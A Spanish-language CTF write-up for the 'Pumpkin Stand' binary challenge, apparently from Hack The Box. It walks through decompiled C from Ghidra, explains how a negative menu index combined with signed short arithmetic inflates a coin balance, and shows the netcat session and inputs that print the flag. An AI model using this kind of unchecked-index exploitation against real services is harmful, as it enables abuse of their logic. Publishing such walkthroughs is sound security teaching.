Pumpkin Stand
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado pumpkin_stand:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos el código descompilado en C de la función main:
void main() {
long in_FS_OFFSET;
short option;
short amount;
FILE *fp;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
setup();
banner();
option = 0;
amount = 0;
while (true) {
while (true) {
while (true) {
while (true) {
menu();
__isoc99_scanf("%d", &option);
printf("\nHow many do you want?\n\n>> ");
__isoc99_scanf("%d", &amount);
if (0 < amount) break;
printf("%s\n[-] You cannot buy less than 1!\n", &DAT_0010134a);
}
pumpcoins = pumpcoins - amount * (short) *(undefined4 *) ((long) &values + (long) (int) option * 4);
if (-1 < pumpcoins) break;
printf("\nCurrent pumpcoins: [%s%d%s]\n\n", &DAT_00100e80, (ulong) (uint) (int) pumpcoins);
printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", &DAT_0010134a, &DAT_00100e78);
}
if (option != 1) break;
printf("\nCurrent pumpcoins: [%s%d%s]\n\n", &DAT_00100e80, (ulong) (uint) (int)pumpcoins);
puts("\nGood luck crafting this huge pumpkin with a shovel!\n");
}
if (9998 < pumpcoins) break;
printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", &DAT_0010134a, &DAT_00100e78);
}
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
fp = fopen("./flag.txt", "rb");
if (fp != NULL) {
fgets((char *) &local_48, 0x30, fp);
printf("%s\nCongratulations, here is the code to get your laser:\n\n%s\n\n", &DAT_00100ee3, &local_48);
/* WARNING: Subroutine does not return */
exit(0x16);
}
puts("Error opening flag.txt, please contact an Administrator!\n");
/* WARNING: Subroutine does not return */
exit(1);
}
Básicamente, el programa muestra este menú:
$ nc 134.122.106.203 32141
##&
(#&&
##&&
,*. #%%& .*,
.&@@@@#@@@&@@@@@@@@@@@@&@@&@#@@@@@@(
/@@@@&@&@@@@@@@@@&&&&&&&@@@@@@@@@@@&@@@@,
@@@@@@@@@@@@@&@&&&&&&&&&&&&&@&@@@@@@&@@@@@@
#&@@@@@@@@@@@@@@&&&&&&&&&&&&&&@@@@@@@@@@@@@@,
.@@@@@#@@@@@@@@#&&&&&&&&&&&&&&&&@@@@@@@@@@@@@&
&@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&@@@@@@@@@&@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
.@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
(@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@.
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
,@@@@@@@@@@@@@&&&&&&&&&&&&&@@@@@@@@@@@@@
@@@@@@@@@@@@@&&&&&&&&&@@@@@@@@@@@@/
Current pumpcoins: [1337]
Items:
1. Shovel (1337 p.c.)
2. Laser (9999 p.c.)
>>
Vemos que tenemos 1337 pumpcoins. Para encontrar la flag, necesitamos tener como mínimo 9999 pumpcoins.
Encontrando la vulnerabilidad
La vulnerabilidad aparece en estas líneas de código:
// ...
menu();
__isoc99_scanf("%d", &option);
printf("\nHow many do you want?\n\n>> ");
__isoc99_scanf("%d", &amount);
if (0 < amount) break;
printf("%s\n[-] You cannot buy less than 1!\n", &DAT_0010134a);
}
pumpcoins = pumpcoins - amount * (short) *(undefined4 *) ((long) &values + (long) (int) option * 4);
// ...
Nótese que todas las variables son te tipo short (pumpcoins, option y amount), es decir, de 2 bytes. El balance se calcula así: pumpcoins = pumpcoins - amount * option * 4.
No podemos introducir valores negativos en amount, pero sí en option. Entonces, podemos encontrar alguna combinación de valores que hagan que tengamos más de 9999 pumpcoins. Esto se conoce como vulnerabilidad de Integer Overflow, ya que los números negativos grandes desbordan y se convierten en números positivos.
Flag
Con la siguiente combinación conseguimos la flag:
$ nc 134.122.106.203 32141
##&
(#&&
##&&
,*. #%%& .*,
.&@@@@#@@@&@@@@@@@@@@@@&@@&@#@@@@@@(
/@@@@&@&@@@@@@@@@&&&&&&&@@@@@@@@@@@&@@@@,
@@@@@@@@@@@@@&@&&&&&&&&&&&&&@&@@@@@@&@@@@@@
#&@@@@@@@@@@@@@@&&&&&&&&&&&&&&@@@@@@@@@@@@@@,
.@@@@@#@@@@@@@@#&&&&&&&&&&&&&&&&@@@@@@@@@@@@@&
&@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&@@@@@@@@@&@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@
.@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
(@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@.
@@@@@@@@@@@@@@&&&&&&&&&&&&&&&@@@@@@@@@@@@@@
,@@@@@@@@@@@@@&&&&&&&&&&&&&@@@@@@@@@@@@@
@@@@@@@@@@@@@&&&&&&&&&@@@@@@@@@@@@/
Current pumpcoins: [1337]
Items:
1. Shovel (1337 p.c.)
2. Laser (9999 p.c.)
>> -1
How many do you want?
>> 2
Congratulations, here is the code to get your laser:
HTB{1nt3g3R_0v3rfl0w_101_0r_0v3R_9000!}